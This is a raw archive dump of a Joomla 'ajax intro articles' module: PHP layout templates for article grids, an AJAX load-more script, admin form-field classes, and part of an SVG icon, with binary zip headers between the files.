		$overlay_intro_top = '<div style="height:'.( $params->get('inner_spacing') * 2 ).'px;" class="clearfix"></div>';
		$desc_top = '<div style="height:'.$params->get('inner_spacing').'px;" class="clearfix"></div>';
	} 
}

if ($article_style == 3) {
	$entry_style = ' overlay';
}

$effect = $params->get('overlay_effects'); 
if ($effect != '') {
	$effects = ' ' . implode(' ', $params->get('overlay_effects')); 
}

// 1 Column Stylings
if ($columns == 1) { 
  $intro_alignment = ' '. $params->get('intro_alignment', 'intro-center');
  
	if ($params->get('intro_alignment') == 'intro-left') {
		$intro_width = ' style="width:'. $params->get('intro_width', '50').'%;float:left;"';
		$desc_width = ' style="width:'. ( 100 - $params->get('intro_width', '50') ).'%;float:left;padding-left:4%;'. $margin_top_desc .'"'; 
	} elseif ($params->get('intro_alignment') == 'intro-center') {
		$intro_width = '';
		$desc_width = '';
	
	} elseif ($params->get('intro_alignment') == 'intro-right') {
		$intro_width = ' style="width:'. $params->get('intro_width', '50').'%;float:right;"';
		$desc_width = ' style="width:'. ( 100 - $params->get('intro_width', '50') ).'%;float:right;padding-right:4%;text-align:right;'. $margin_top_desc .'"';
	} else {
		$intro_width = '';
		$desc_width = '';
	}
}

if ($params->get('readmore_button', 'default') == 'default') {
	$sppb_readmore = 'sppb-';
}

?>
<?php foreach ($list as $idx => $item) :  ?>

    <?php if ($idx %2 == 0): ?>
	<?php endif; 
	
			$tpl_params 	= JFactory::getApplication()->getTemplate(true)->params;
			$post_attribs = new JRegistry(json_decode( $item->attribs ));
			$post_format = $post_attribs->get('post_format');
			$arrow_size = $post_attribs->get('arrow_size');
			$spfeatured_image = $post_attribs->get('spfeatured_image');
	
			$images = json_decode($item->images);
			$imgsize = $tpl_params->get('blog_list_image', 'default');
			$intro_image = '';
			$img_alt = '';
			$no_img = '';
			
			// Alt for images
			if(isset($images->image_intro_alt) && $images->image_intro_alt != '') {
				$img_intro_alt = htmlspecialchars($images->image_intro_alt);
			} else {
				$img_intro_alt = htmlspecialchars($item->title);
			}
		
			// Intro images
			if(isset($spfeatured_image) && $spfeatured_image != '') {

				if($imgsize == 'default') {
					$intro_image = $spfeatured_image;
				} else {
					$intro_image = $spfeatured_image;
					$basename = basename($intro_image);
					$list_image = JPATH_ROOT . '/' . dirname($intro_image) . '/' . JFile::stripExt($basename) . '_'. $imgsize .'.' . JFile::getExt($basename);
					if(file_exists($list_image)) {
						$intro_image = JURI::root(true) . '/' . dirname($intro_image) . '/' . JFile::stripExt($basename) . '_'. $imgsize .'.' . JFile::getExt($basename);
					}
				}
			} elseif (isset($images->image_intro) && !empty($images->image_intro)) {
				$intro_image = $images->image_intro;
			} elseif ($params->get('article_style', 1) == 2) {
				$no_img = ' no-intro-img';
			}
			
			// Link Intro images
			if ($params->get('image_intro_link') == 1) { 
			  $image_intro_link_start = '<a href="'. $item->link .'" itemprop="url">';
			  $image_intro_link_end = '</a>';
			} else {
			  $image_intro_link_start = '';
			  $image_intro_link_end = '';
			} 
			
			// Category in Overlay style
			$category_overlay = '';
			if ($params->get('show_category')) {
					$category_overlay = '<em class="caption-category"><span class="posted-in">'. JText::_('MOD_AJAX_INTRO_ARTICLES_POSTED') .'</span>'. $item->category_title .'</em>';
			} 
			
			// Hits in Overlay style
			$show_hits = ($params->get('show_hits') == 1) ? $show_hits = '<small class="hits"><i class="pe pe-7s-look"></i><meta itemprop="interactionCount" content="UserPageVisits:'.$item->hits.'" />'. $item->hits .'</small>' : $show_hits = '';
			
			// Article Rating
			$post_rating = '';
			if ($params->get('show_rating')) {
			$rating = (int) $item->rating;
			$post_rating = '<small class="ratings"><dd class="post_rating" id="post_vote_'.$item->id.'" itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">'.JText::_('MOD_AJAX_INTRO_ARTICLES_RATING').': <div class="voting-symbol" itemprop="ratingValue">';
			$j = 0;
			for($i = $rating; $i < 5; $i++){ $post_rating .= '<span class="star" data-number="'.(5-$j).'" itemprop="ratingValue"></span>'; $j = $j+1;}
			for ($i = 0; $i < $rating; $i++) { $post_rating .= '<span class="star active" data-number="'.($rating - $i).'"></span>'; } $post_rating .= '</dd></small>'; }			
	?>
    <article class="post masonry_item col-xs-<?php echo $xs_grid; ?> col-sm-<?php echo $sm_grid; ?> col-md-<?php echo $md_grid; ?> ajax-post<?php echo $idx == 0 ? ' first' : ''; ?>" itemscope itemtype="http://schema.org/Article">
    <div class="<?php echo $equal_heights; ?>inner<?php echo $entry_style . $intro_alignment; ?>">
            <?php // Start DIV for 1 Column Layout 
			if(isset($intro_image) && $intro_image != '' && !empty($intro_image) && ($columns == 1) && ($params->get('intro_alignment') != 'intro-center')) { ?><div<?php echo $intro_width; ?>><?php } 
			echo $article_style_start;
            // Post Formats ?> 
			<?php if($intro_format != 1) {	
				if(isset($intro_image) && $intro_image != '' && !empty($intro_image)) {
					echo '<div class="entry-image intro-image'. $effects .'">';
					echo $article_style == 3 ? '<a href="'. $item->link .'" itemprop="url"><span class="caption-content"><span itemprop="name">'.$item->title.'</span>
					'.$category_overlay.'
					<span class="clearfix">' . $show_hits . $post_rating . '</span></span>' : $image_intro_link_start;
					echo '<img class="post-img" src="'. htmlspecialchars($intro_image) .'" alt="'. $img_intro_alt .'" itemprop="thumbnailUrl"/>';
					echo $article_style == 3 ? '</a>' : $image_intro_link_end;
					echo '</div>';
				} 
			} else {	
				if($post_format=='standard' && isset($intro_image) && $intro_image != '' && !empty($intro_image)) {
						echo '<div class="entry-image intro-image'. $effects .'">';
						echo $article_style == 3 ? '<a href="'. $item->link .'" itemprop="url"><span class="caption-content"><span itemprop="name">'.$item->title.'</span><em class="caption-category"><span class="posted-in">'. JText::_('MOD_AJAX_INTRO_ARTICLES_POSTED') .'</span>'. $item->category_title .'</em><span>' . $show_hits . $post_rating . '</span></span>' : $image_intro_link_start;
						echo '<img class="post-img" src="'. htmlspecialchars($intro_image) .'" alt="'. $img_intro_alt .'" itemprop="thumbnailUrl"/>';
						echo $article_style == 3 ? '</a>' : $image_intro_link_end;
						echo '</div>';
					//}
				} else {
					echo JLayoutHelper::render('joomla.content.post_formats.post_' . $post_format, array('params' => $post_attribs, 'item' => $item ));
				}
			}
			// Wrap for Flex and Overlay
			echo $article_style_end;
			// Start DIV for 1 Column Layout  
			if(isset($intro_image) && $intro_image != '' && !empty($intro_image) && ($columns == 1) && ($params->get('intro_alignment') != 'intro-center')) { ?></div>
            <div<?php echo $desc_width; ?>>
			<?php } ?>
         
   			<?php // Start If not Overlay Style
			if ($params->get('show_title') != 0) { ?>
            <?php echo ($article_style != 2  && $intro_image != '' && !empty($intro_image)) ? $desc_top : ''; ?>
                <h3 class="aga_heading<?php echo $no_img; ?>" itemscope>
                <a href="<?php echo $item->link; ?>" itemprop="url">
                    <span itemprop="name">
                        <?php echo $item->title; ?>
                    </span>
                </a>
                </h3>
                <?php } ?>
            <?php if ($params->get('show_introtext') != 0) { ?>
                <?php echo ($article_style != 2) && !empty($intro_image) && ($params->get('show_title') == 0) ? $overlay_intro_top : ''; ?>
                <div<?php echo (($article_style != 2) && !empty($intro_image) && ($params->get('show_title') == 0) || $inner_spacing == 0) ? ' style="margin-top:15px"' : ''; ?> itemprop="description" class="item-intro">
					 <?php if ($limit_words != '' && $limit_words != 0) {
						$text = ModAjaxIntroArticlesHelper::_cleanIntrotext($item->introtext); 
						$container = explode(' ', strip_tags($item->introtext));
						if(count($container) > $limit_words){
							$container = explode(" ", $text);
							//rebuild text by limit
							$text = implode(" ", array_slice($container, 0, $limit_words));
							//add a [...] icon
							$text .= ' <i style="vertical-align:bottom;margin:0 1px 1px;" class="pe pe-7s-more"></i>';	
							echo $text;
						} else {
							echo $text;
						}
					} else {
						echo ModAjaxIntroArticlesHelper::_cleanIntrotext($item->introtext);
					} ?>
				</div>
			 <?php } ?>
          
        <?php if ($params->get('show_author') || $params->get('show_category') || $params->get('show_date') || $params->get('show_hits') || $params->get('show_rating')) : ?>
   
            <dl<?php echo ($params->get('article_style', 1) != 2) && ($params->get('show_title') == 0) && ($params->get('show_introtext') == 0) ? ' style="margin:'.$params->get('inner_spacing').'px 0 0;"' : ''; ?> class="article-info" itemscope>
                <?php if ($params->get('show_author')): ?>
                <dd class="createdby" itemprop="author" itemscope itemtype="http://schema.org/Person">
                    <i class="far fa-user"></i>
                    <span data-toggle="tooltip" title="Written by" itemprop="creator" itemscope itemtype="https://schema.org/Person"><?php echo $item->created_by_alias ? $item->created_by_alias : $item->author;?></span></dd>	
                <?php endif; ?>
                <?php // Start If not Overlay Style
				if ($params->get('article_style') != 3) { ?> 
                <?php if ($params->get('show_category')): ?>
                <dd class="category-name">
                <i class="far fa-folder-open"></i>
                <a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item->catid)); ?>" class="item-category"> <?php echo $item->category_title; ?></a>
                </dd>
                <?php endif; ?>
                <?php } ?>
                
                <?php if ($params->get('show_date')): ?>
                <dd class="published" itemprop="datePublished">
                <i class="far fa-calendar-check"></i>
                <time class="item-time" data-toggle="tooltip" title="Published Date" datetime="<?php echo JHtml::_('date', $item->created, 'c'); ?>" itemprop="dateCreated"><?php echo JHtml::_('date', $item->created, JText::_($params->get('show_date_format', 'DATE_FORMAT_LC3'))) ;?>
           		</time>
                </dd>
                <?php endif; ?>
             	<?php // Start If not Overlay Style
				if ($params->get('article_style') != 3) { ?>
                <?php if ($params->get('show_hits')): ?>
                    <dd class="hits">
                    <span class="far fa-eye"></span>
                    <meta itemprop="interactionCount" content="UserPageVisits:<?php echo $item->hits; ?>" />
                    <?php echo $item->hits; ?>
                    </dd>
                <?php endif; ?>
                
				<?php 
                    // Article Rating
                    if ($params->get('show_rating')):
                        $rating = (int) $item->rating;
                    ?>
                    <dd class="post_rating" id="post_vote_<?php echo $item->id; ?>" itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating">
                    <?php echo JText::_('MOD_AJAX_INTRO_ARTICLES_RATING'); ?>: <div class="voting-symbol" itemprop="ratingValue">
                    <?php
                    $j = 0;
                    for($i = $rating; $i < 5; $i++){
                        echo '<span class="star" data-number="'.(5-$j).'" itemprop="ratingValue"></span>';
                        $j = $j+1;
                    }
                    for ($i = 0; $i < $rating; $i++)
                    {
                        echo '<span class="star active" data-number="'.($rating - $i).'"></span>';
                    }
                    ?>
                    </dd>
                <?php endif; ?>
                <?php } ?>
			</dl>   
       <?php endif; ?>         

				<?php // Read More ?>
                <?php if ($params->get('show_readmore')): ?>
                <div class="readmore pull-<?php echo $params->get('align_readmore_button', 'left'); ?>"><a class="btn <?php echo $sppb_readmore; ?>btn-<?php echo $params->get('readmore_button', 'default'); ?>" href="<?php echo $item->link; ?>" itemprop="url">
				<?php echo $params->get('readmore_btn_text', JText::_('MOD_AJAX_INTRO_ARTICLES_AJAX_READMORE_BUTTON_TXT')); ?>
            	</a></div>
                <?php endif; 
				
				// Social Share buttons
				if ($params->get('show_social_share')):
				echo JLayoutHelper::render('joomla.content.social_share.entrylist_share', $item); 
				endif;
				
				//Tags 
                if ($params->get('show_tags')):
					$item->tagLayout = new JLayoutFile('joomla.content.tags');
					echo '<div class="clearfix"></div>'.
					$item->tagLayout->render($item->tags->itemTags);
				endif; ?>
        <?php if(isset($intro_image) && $intro_image != '' && !empty($intro_image) && ($columns == 1) && ($params->get('intro_alignment') != 'intro-center')) { ?></div><?php } ?> 
        <div class="clearfix"></div>
    </div>     
</article>
<?php endforeach; ?>PK!� !>	!	!(mod_ajax_intro_articles/tmpl/default.phpnu&1i�<?php

defined( '_JEXEC' ) or die( 'Restricted access' );

$doc = JFactory::getDocument();

$show_readmore_btn = '';
$article_style = '';
$sppb = '';
$overlay_color = '';
$zoom = '';
$grayscale = '';
$blur = '';
$overlay_hover_effects = '';
$post_formats_bottom_margin = '';
	
if ($params->get('loadmore_button') == 'default') {
	$loadmore_start_color = '#777';
	$sppb = 'sppb-';
} else {
	$loadmore_start_color = '#fff';
}
if ($params->get('readmore_button') == 'default') {
	$sppb_readmore = 'sppb-';
} else {
	$sppb_readmore = '';
}

$cols_color = ($params->get('cols_color') != '') ? 'background-color:'. $params->get('cols_color') .';' : '';
$cols_spacing = $params->get('cols_spacing', '15');

if ($cols_spacing != 0) {
	$cols_spacing_neg_margin = ' -'. $cols_spacing .'px';
	$cols_spacing_margin = $cols_spacing .'px';
} else {
	$cols_spacing_neg_margin = '';
	$cols_spacing_margin = '0';
}

if ($params->get('inner_spacing') != 0) {
	$inner_spacing = $params->get('inner_spacing') .'px';
} else {
	$inner_spacing = '0';
}

// LTR or RTL
$rtl_enable = ($params->get('rtl_enable', 0) == 1 && $params->get('columns') != 1) ? 'originLeft:false,' : '';

// Equal Heights for Columns
($params->get('equal_heights') == 1 && $params->get('columns') != 1) ? $equal_heights_js = '$(".match-height").matchHeight();' : $equal_heights_js = '';

if ($params->get('show_readmore') != 0) {
	$show_readmore_btn = '#ajax_posts_'. $module->id .' .ajax-post .inner .readmore.pull-left > a {margin:10px 10px 0 0;}#ajax_posts_'. $module->id .' .ajax-post .inner .readmore.pull-right > a {margin:10px 0 0 10px;}';
}

if ($params->get('show_title') != 0) {
	$title_size = $params->get('title_size');
} else {
	if ($params->get('article_style') == 3) {
		$title_size = $params->get('title_size');
	 } else {
		$title_size = '22';
	}
}

if ($params->get('show_introtext') != 0) {
	$introtext_size = $params->get('introtext_size');
} else {
	$introtext_size = '15';
}

if ($params->get('article_style', 1) != 2) {
	if ($params->get('intro_format', 1) == 1) {
		$article_style = '#ajax_posts_'. $module->id .' .ajax-post .inner > div.article_style {margin:-' . $inner_spacing .' -' . $inner_spacing .' 0}';
		
		$post_formats_bottom_margin = '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .inner [class^="entry-"] {margin-bottom:'. $inner_spacing .';}';
		
	} else {
		$article_style = '#ajax_posts_'. $module->id .' .ajax-post .inner > div.article_style {margin:-' . $inner_spacing .'}';
	}
} 

//  Overlay Effects
$effect = $params->get('overlay_effects'); 

if(is_array($effect) && count($effect)) {
	if(in_array('zoom', $effect)) {
	  $zoom = 'transform: translateZ(0) scale(1.1);-webkit-transform: translateZ(0) scale(1.1);';
	} 

	if(in_array('grayscale', $effect)) {
	   $grayscale = ' grayscale(100%)';
	} else {
	   $grayscale = ' grayscale(0%)';
	}

	if(in_array('blur', $effect)) {
	  $blur = ' blur(0.2em)';
	} 
}

if ($params->get('article_style', 1) == 3) {
	$overlay_hover_effects = '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .overlay a:hover img.post-img {'. $zoom .'-webkit-filter:'.$blur . $grayscale.';filter:'.$blur . $grayscale.';}';
	if ($params->get('overlay_color') != '') {
		$overlay_color = '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .overlay a:hover:after {background:'. $params->get('overlay_color') .'}';
	}
}
// Add styles
$style = ''
		. '#ajax_loadmore_'. $module->id .' .btn_text{color:' . $params->get('loadmore_color') .';}'
		. '#ajax_loadmore_'. $module->id .' .spinner > div{background:' . $params->get('loadmore_color', $loadmore_start_color) .';}'
		. '#ajax_posts_'. $module->id .' .ajax-posts{margin:0' . $cols_spacing_neg_margin .'}'
		. '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .inner{'.$cols_color.'padding:'. $inner_spacing .';margin:' . $cols_spacing_margin .';}'
		. $article_style . $overlay_hover_effects . $overlay_color
		. '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .overlay .intro-image .caption-content,#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .inner .aga_heading{font-size:' . $title_size .'px;line-height:1.4;}'
		. '#ajax_posts_'. $module->id .' .ajax-posts .ajax-post .inner .item-intro {font-size:' . $introtext_size .'px;line-height:1.6;}'
		. '#ajax_posts_'. $module->id .' .ajax-post .inner .no-intro-img{margin-top:0;}'
		. $post_formats_bottom_margin
		. $show_readmore_btn;		 
$doc->addStyleDeclaration($style);
	
if (count($total) == 0) { ?>
<div class="alert alert-warning alert-dismissible" role="alert">
    <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
    <p class="centered"><?php echo JText::_('MOD_AJAX_INTRO_ARTICLES_ALERT') ?></p>
</div>
<?php } else { ?>
<div id="ajax_posts_<?php echo $module->id; ?>" class="ajax_posts <?php echo $moduleclass_sfx; ?> clearfix">
    <div id="masonry_items_<?php echo $module->id; ?>" class="ajax-posts masonry_items row-fluid clearfix">
        <?php require JModuleHelper::getLayoutPath('mod_ajax_intro_articles', 'default_ajax');?>  
    </div>
    <input type="hidden" name="count_<?php echo $module->id; ?>" value="<?php echo $params->get('count', 3); ?>"/>
    <?php if (count($total) != 0 && (count($total) > $limit)) { ?>
        <div id="timeline_<?php echo $module->id; ?>" class="loader_footer container-fluid readmore clearfix">
        <button id="ajax_loadmore_<?php echo $module->id; ?>" class="load-more-ajax btn <?php echo $sppb; ?>btn-<?php echo $params->get('loadmore_button', 'default'); ?> clearfix">
            <div class="spinner" style="display:none;">
                <div class="bounce1"></div>
                <div class="bounce2"></div>
                <div class="bounce3"></div>
            </div>
            <span class="btn_text"><?php echo $params->get('loadmore_btn_text', JText::_('MOD_AJAX_INTRO_ARTICLES_AJAX_LOADER')); ?></span>
        </button>
        </div>
    <?php } ?>
</div><?php 
	// Add JS and minify
	$js = 'jQuery(function($){
		var $container=$("#masonry_items_'.$module->id.'");
		var $start='.$limit.';
		var $limit='.$ajaxlimit.';
		$container.imagesLoaded(function(){
			$($container).masonry({'.$rtl_enable.'itemSelector:\'.masonry_item\'});
		}); 
		$(document).on(\'click\',\'#ajax_loadmore_'.$module->id.'\',function(e){ 
			e.preventDefault();
			var value=$("input[name=count_'.$module->id.']").val(),
			request={
			\'option\':\'com_ajax\',
			\'module\':\'ajax_intro_articles\',
			\'cmd\':\'load\',
			\'data\':\''.base64_encode($module->title).'\',
			\'format\':\'raw\',
			\'start\':$start,
			\'limit\':$limit,
			\'moduleID\':'.$module->id.',
			\'Itemid\':\''.JFactory::getApplication()->input->get('Itemid').'\'
			};
			$.ajax({
				type:\'GET\',
				data:request,
				beforeSend:function(response){
					var loadmore=$("#ajax_loadmore_'.$module->id.'");
					var $loadmore_width=$(loadmore).width();
					loadmore.find(".spinner").css({"width":$loadmore_width + \'px\',"margin":"0 0.01em"}).show();
					loadmore.find(".btn_text").hide();
				},
				success:function (response){
					$start+=$limit;
					var loadmore=$("#ajax_loadmore_'.$module->id.'");
					var $container=$("#ajax_posts_'.$module->id.' > #masonry_items_'.$module->id.'");
					var $elems=$(response);
					$elems.appendTo($container).addClass("'.$params->get('loadmore_effect', 'appear-in').'");
					$("#masonry_items_'.$module->id.'").imagesLoaded(function(){
						$("#masonry_items_'.$module->id.'").masonry({
						  '.$rtl_enable.'
						  transitionDuration:0,
						  itemSelector:\'.masonry_item\'
						})
						.masonry(\'appended\',$elems);
						'. $equal_heights_js .'
						return false;
					});			
					$("input[name=count_'.$module->id.']").val($("#ajax_posts_'.$module->id.' .ajax-post").size());
					loadmore.find(".spinner").hide();
					loadmore.find(".btn_text").show();
					$(\'[data-toggle="tooltip"]\').tooltip();
					if($("input[name=count_'.$module->id.']").val() == '. count($total) .'){
						loadmore.hide();
						$("#ajax_posts_'.$module->id.' > .loader_footer").addClass("done");
					} 
				},
				error:function(response){
					var data=\'\',
					obj=$.parseJSON(response.responseText);
					for(key in obj){
						data=data + \' \' + obj[key] + \'<br/>\';
					}
				}
			});
			return false;
		});
	});'; 
	$js = preg_replace(array('/([\s])\1+/', '/[\n\t]+/m'), '', $js); // Remove whitespace
	$doc->addScriptdeclaration($js);
} ?>PK!FZ	g��*mod_ajax_intro_articles/admin/selector.phpnu&1i�<?php
/**
 * @package 	themeselect.php
 * @author		Aplikko
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Form Field class for the Joomla Platform.
 * Provides radio button inputs
 *
 * @package     Joomla.Platform
 * @subpackage  Form
 * @link        http://www.w3.org/TR/html-markup/command.radio.html#command.radio
 * @since       11.1
 */
class JFormFieldSelector extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'Selector';

	/**
	 * Method to get the radio button field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	
	protected function getInput(){

		$doc = JFactory::getDocument();
	
		$moduleName = basename(dirname(__DIR__));
		$doc->addStylesheet(JURI::root(true).'/modules/'.$moduleName.'/admin/css/admin_style.css');
		$doc->addStylesheet('//netdna.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css');
		
		$doc->addStylesheet('https://fonts.googleapis.com/css?family=Muli');
		$doc->addStylesheet('https://fonts.googleapis.com/css?family=Nunito+Sans');
	
		$html = array();
		// Initialize some field attributes.
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ' class="radio"';

		// Start the radio field output.
		$html[] = '<fieldset id="' . $this->id . '"' . $class . '>';

		// Get the field options.
		$options = $this->getOptions();

		// Build the radio field output.
		foreach ($options as $i => $option) {

			$theme = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
			$thumbpath = JURI::root(true).'/modules/'.basename(dirname(__DIR__)).'/admin/images/themes/'.$theme.'.png';

			// Initialize some option attributes.
			$checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : '';
			$class = !empty($option->class) ? ' class="' . $option->class . '"' : '';
			$icon = !empty($option->icon) ? ' <i class="' . $option->icon . '"></i>' : '';
			$btn = !empty($option->btn) ? ' '. $option->btn : '';
			$disabled = !empty($option->disable) ? ' disabled="disabled"' : '';
	
			$onclick    = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
			$onchange   = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';


			$html[] = '<input type="radio" id="' . $this->id . $i . '" name="' . $this->name . '"' . ' value="'
				. htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8') . '"' . $checked . $class . $onclick . $disabled . '/>';
			$html[] = '<label for="' . $this->id . $i . '"'.$class.'>'
				. '<div class="selector selector-'.$this->id.' btn'.$btn.'">'. $icon . JText::_($option->text) .'</div>'
				. '</label>';
		}
		// End the radio field output.
		$html[] = '</fieldset>';
		?>
        
		<script type="text/javascript">
			// Select (radios)
			jQuery(document).ready(function(){
				jQuery("fieldset#<?php echo $this->id; ?> input[id^='<?php echo $this->id; ?>']").hide();//hide default radios
				var checkeditem = jQuery("fieldset#<?php echo $this->id; ?> input[id^='<?php echo $this->id; ?>']:checked").next().children();
				checkeditem.addClass("highlight");
				jQuery("fieldset#<?php echo $this->id; ?> .selector-<?php echo $this->id; ?>").click(function(){
				jQuery("fieldset#<?php echo $this->id; ?> .selector-<?php echo $this->id; ?>").removeClass("highlight");	
				jQuery(this).toggleClass("highlight").show();
				});
			});
		</script>
		<?php	
		
		return implode($html);
	}
	
	protected function getOptions() {
		$options = array();
		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = JHtml::_(
				'select.option', (string) $option['value'], trim((string) $option), 'value', 'text',
				((string) $option['disabled'] == 'true')
			);
			
			// Include Icons in Options
			$tmp->btn = (string) $option['btn'];
			
			// Include Icons in Options
			$tmp->icon = (string) $option['icon'];

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Set some JavaScript option attributes.
			$tmp->onclick = (string) $option['onclick'];

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}
	
	public function renderField($options = array()) {
		$datashowon = ' data-showon=\'' . json_encode(JFormHelper::parseShowOnConditions($this->showon, $this->formControl, $this->group)) . '\'';
	return '<div class="control-group '.$this->element['name'].'"'.$datashowon.'>'
		. '<div class="control-label selector-label">' . $this->getLabel() . '</div>'
		. '<div class="controls">' . $this->getInput() . '</div>'
		. '</div>';
 	}
}
PK!�a��  )mod_ajax_intro_articles/admin/apslide.phpnu&1i�<?php 

/**
 * @package 	apslide.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die('Restricted access');

jimport('joomla.form.formfield');

class JFormFieldApslide extends JFormField {
	protected $type = 'Apslide';

        protected function getInput() {
			
		$doc = JFactory::getDocument();
		$adminpath = JURI::root(true).'/modules/'.basename(dirname(__DIR__)).'/admin';
		$doc->addScript($adminpath . '/js/simple-slider.min.js');
		$doc->addStyleSheet($adminpath . '/css/simple-slider.css');
		
		$class = $this->element['class'];
		$value = intval(htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8'));
		$fieldID = str_replace(array('jform[params]','[',']'), '', $this->name);
		
		$scripts = '	
		jQuery(document).ready(function() {
			 // Slide options
			 jQuery("#'.$fieldID.'").each(function(){ 
				 jQuery("#'.$fieldID.'").bind("slider:ready slider:changed", function (event, data) { 
					 jQuery(".output_'.$fieldID.'").html(data.value.toFixed(0));		 
				 });
			  });
		});
		';
		JFactory::getDocument()->addScriptDeclaration($scripts);	
			
			$data_slider_range  = ((string) $this->element['data-slider-range'] != NULL) ? ' data-slider-range="'.$this->element['data-slider-range'].'" data-slider-highlight="true"' : '';

			$data_slider_range_steps  = ((string) $this->element['data-slider-range'] != NULL) ? ' data-slider-step="'.$this->element['data-slider-step'].'"' : '';
			
			$append = JText::_($this->element['append']);

            $input = '
			<div class="slide_wrap '.$class.'">
			<span class="slider input-group-addon"><input type="text" name="'.$this->name.'" id="'.$fieldID.'"'
			. ' data-slider="true" value="'.$value.'"'.$data_slider_range.$data_slider_range_steps.
			' /></span>
			<div class="info"><span class="output_'.$fieldID.'">'.$value.'</span> '.$append.'</div>
			</div>
			';
            return $input;
	
	}

}
PK!	u�"��5mod_ajax_intro_articles/admin/images/post-formats.svgnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="5.7 4.7 420 230.7" enable-background="new 5.7 4.7 420 230.7" xml:space="preserve">
<g id="Layer_1" xmlns:sketch="http://www.bohemiancoding.com/sketch/ns">
	<rect x="291.7" y="167.3" fill="#E2E2E2" width="125.9" height="76.6"/>
	<rect x="291.6" y="18.2" fill="#E2E2E2" width="125.9" height="136.1"/>
	<rect x="153.3" y="18.2" fill="#E2E2E2" width="125.9" height="97.3"/>
	<title>Responsive DesignI</title>
	<desc>Created with Sketch.</desc>
	<g>
		<rect x="14.7" y="18.2" fill="#E2E2E2" width="125.9" height="181.1"/>
		<g>
			<rect id="Rectangle-686-Copy-10_2_" x="23.9" y="28.5" sketch:type="MSShapeGroup" fill="#30A3C6" width="107.2" height="125.7">
			</rect>
		</g>
		<rect x="24" y="168.4" fill="#AAAAAA" width="107.2" height="3.9"/>
		<rect x="24" y="182.9" fill="#AAAAAA" width="89.4" height="3.9"/>
	</g>
	<g>
		<rect x="153.3" y="129" fill="#E2E2E2" width="125.9" height="117.9"/>
		<g>
			
				<rect id="Rectangle-686-Copy-10_3_" x="162.6" y="140.2" sketch:type="MSShapeGroup" fill="#E2A674" width="107.2" height="68.8">
			</rect>
		</g>
		<rect x="162.6" y="220.7" fill="#AAAAAA" width="107.2" height="3.9"/>
	</g>
	<g>
		<g>
			<rect id="Rectangle-686-Copy-10_4_" x="162.6" y="28.3" sketch:type="MSShapeGroup" fill="#8B7FBF" width="107.2" height="60">
			</rect>
		</g>
		<rect x="162.7" y="99.8" fill="#AAAAAA" width="107.2" height="3.9"/>
	</g>
	<g>
		<g>
			<path fill="#FFFFFF" d="M229.8,161.2c-3.7-3.6-8.5-5.6-13.7-5.6s-10,2-13.7,5.6c-7,7-7.6,18.2-1.3,25.8c-0.9,1.8-1.9,2.9-3,3.5
				c-0.7,0.3-1.1,1.1-1,1.9c0.1,0.8,0.7,1.4,1.5,1.5c0.4,0.1,0.9,0.1,1.4,0.1l0,0c2.4,0,4.9-0.8,6.9-2.2c2.8,1.5,5.9,2.3,9.2,2.3
				c5.2,0,10-2,13.7-5.6c3.7-3.6,5.7-8.5,5.7-13.6C235.5,169.7,233.5,164.8,229.8,161.2z M228.3,186.8c-3.2,3.2-7.5,5-12.1,5
				c-3.1,0-6.1-0.8-8.7-2.3c-0.2-0.1-0.4-0.2-0.6-0.2c-0.2,0-0.5,0.1-0.7,0.2c-2.5,1.9-5,2.2-6.1,2.2c1.3-1,2.4-2.5,3.3-4.5
				c0.2-0.4,0.1-0.8-0.2-1.2c-6-6.7-5.7-17,0.7-23.3c3.2-3.2,7.5-5,12.1-5s8.9,1.8,12.1,5C235,169.4,235,180.2,228.3,186.8z"/>
			<path fill="#FFFFFF" d="M224.3,168.4h-16.2c-0.6,0-1.1,0.5-1.1,1.1c0,0.6,0.5,1.1,1.1,1.1h16.2c0.6,0,1.1-0.5,1.1-1.1
				C225.4,168.9,224.9,168.4,224.3,168.4z"/>
			<path fill="#FFFFFF" d="M224.3,173.7h-16.2c-0.6,0-1.1,0.5-1.1,1.1c0,0.6,0.5,1.1,1.1,1.1h16.2c0.6,0,1.1-0.5,1.1-1.1
				C225.4,174.2,224.9,173.7,224.3,173.7z"/>
